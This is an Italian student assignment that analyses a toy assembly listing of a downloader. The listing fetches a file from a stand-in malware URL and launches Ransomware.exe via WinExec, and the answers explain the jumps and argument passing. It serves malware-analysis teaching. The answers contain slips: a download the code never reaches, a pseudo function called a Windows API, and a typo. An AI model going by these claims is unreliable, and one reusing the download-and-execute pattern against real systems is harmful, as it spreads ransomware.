PROGETTO SETTIMANA 11

Traccia:

Con riferimento al codice presente nelle slide successive, rispondere ai seguenti quesiti:

1. Spiegate, motivando, quale **salto condizionale** effettua il Malware.

2. Disegnare un diagramma di flusso (prendete come esempio la visualizzazione grafica di IDA) identificando i salti condizionali (sia quelli effettuati che quelli non effettuati). Indicate con una linea **verde** i salti effettuati, mentre con una linea **rossa** i salti non effettuati.

3. Quali sono le diverse funzionalità implementate all'interno del Malware?

4. Con riferimento alle istruzioni «call» presenti in tabella 2 e 3, dettagliare come sono passati gli argomenti alle successive chiamate di funzione . Aggiungere eventuali dettagli tecnici/teorici.

Tabella 1

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

Tabella 2

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile ()	; pseudo funzione

Tabella 3

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings \Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

1°

- Riferendoci alle tabelle precedenti, possiamo notare che il malware effettuerà il secondo salto condizionale presente in tabella 1 (00401068 jz loc0040FFA0). Il valore di EBX, viene incrementato di 1 in locazione 0040105F e al momento della funzione "cmp" di locazione 00401064 è di pari valori alla destinazione (11=11). In questo caso la funzione "cmp" modifica il valore di ZF (zero flag) in 1 rendendo possibile il salto condizionale presente in locazione 00401068, questo perché "jz" salta alla locazione di memoria specificata se ZF = 1
- Di contro questo non avviene per il primo salto condizionale (0040105B jnz loc0040BBA0) perché il valore di EAX al momento della funzione "cmp" è uguale alla sua destinazione (5=5) assegnando valore di 1 a ZF. La funzione "jnz" salta alla locazione di memoria specificata se ZF non è settato ad 1, ovvero è 0 quindi in questo caso il programma continua senza effettuarlo.

2°

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

Salto effettuato

Salto non effettuato

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile ()	; pseudo funzione

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings \Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

In riferimento alla diapositiva precedente possiamo notare il diagramma di flusso di questo malware.

3°

Tabella 2

- Il malware, tramite un URL malevolo, tenterà di scaricare un file presumibilmente malevolo anch'esso. Questo lo possiamo notare dal valore di EAX (www.malwaredownload.com) che viene pushato alla funzione di locazione 0040BBA8 (call DownloadToFile).

Tabella 3

- Dopo aver scaricato il file malevolo, in questo caso "C:\Program and Settings\Local User\Desktop\Ransomware.exe" e averlo assegnato all'operando EDX (loc 0040FFA0), il malware lo pusherà alla chiamata di funzione "call WindoExe" (loc 0040FFA0), un API messa a disposizione da Windows.

4°

Tabella 2

Loc 0040BBA0 mov EAX, EDI EDI= www.malwaredownload.com

- Il malware, tramite la funzione "MOV" , copia il contenuto di "EDI" (www.malwaredownload.com) ossia un indirizzo URL presumibilmente un sito malevolo, all'interno dell'operando EAX.

Loc 0040BBA4 push EAX ;URL

- Tramite la funzione "PUSH", pusha l'URL presente in EAX nella chiamata di funzione che lo segue.

Loc 0040BBA8 call DownloadToFile() ; pseudo funzione

- In fine il malware tramite "CALL" chiama la funzione API di Windows "DownloadToFile()", per andare a scaricare un programma malevolo.

4°

Tabella 3

Loc 0040FFA0 mov EDX, EDI EDI: C:\Program and Settings\LocalUser\Desktop\Ransomware.exe

- Il malware, tramite la funzione "MOV" , copia il contenuto di "EDI" (C:\Program and Settings\LocalUser\Desktop\Ransomware.exe) ossia un programma malevolo (Ransomware), all'interno dell'operando EDX.

Loc 0040FFA4 push EDX ; .exe da eseguire

- Tramite la funzione "PUSH", pusha il programma presente in EDX nella chiamata di funzione che lo segue.

Loc 0040FFA8 call WinExec() ; pseudo funzione

- In fine il malware tramite "CALL" chiama la funzione API di Windows "WinExec()", per andare a inizializzare il programma malevolo.

4°

- Possiamo provare a dedurre che si tratti di un downloader, un tipo semplice di malware che possiamo trovare in circolazione. Un downloader è un programma che scarica da Internet un malware oppure un componente di esso e lo esegue sul sistema target. Nel nostro caso scaricherà un Ransoware. In fase di analisi, possiamo identificare un download in quanto utilizzerà inizialmente l'API DownloadToFile() per scaricare bit da Internet e salvarli all'interno di un file sul disco rigido del computer infetto. Dopo aver correttamente scaricato il malware da Internet, il downloader dovrà procedere al suo avvio. Per farlo, può utilizzare una delle API messe a disposizione da Windows, nel nostro caso WinExec.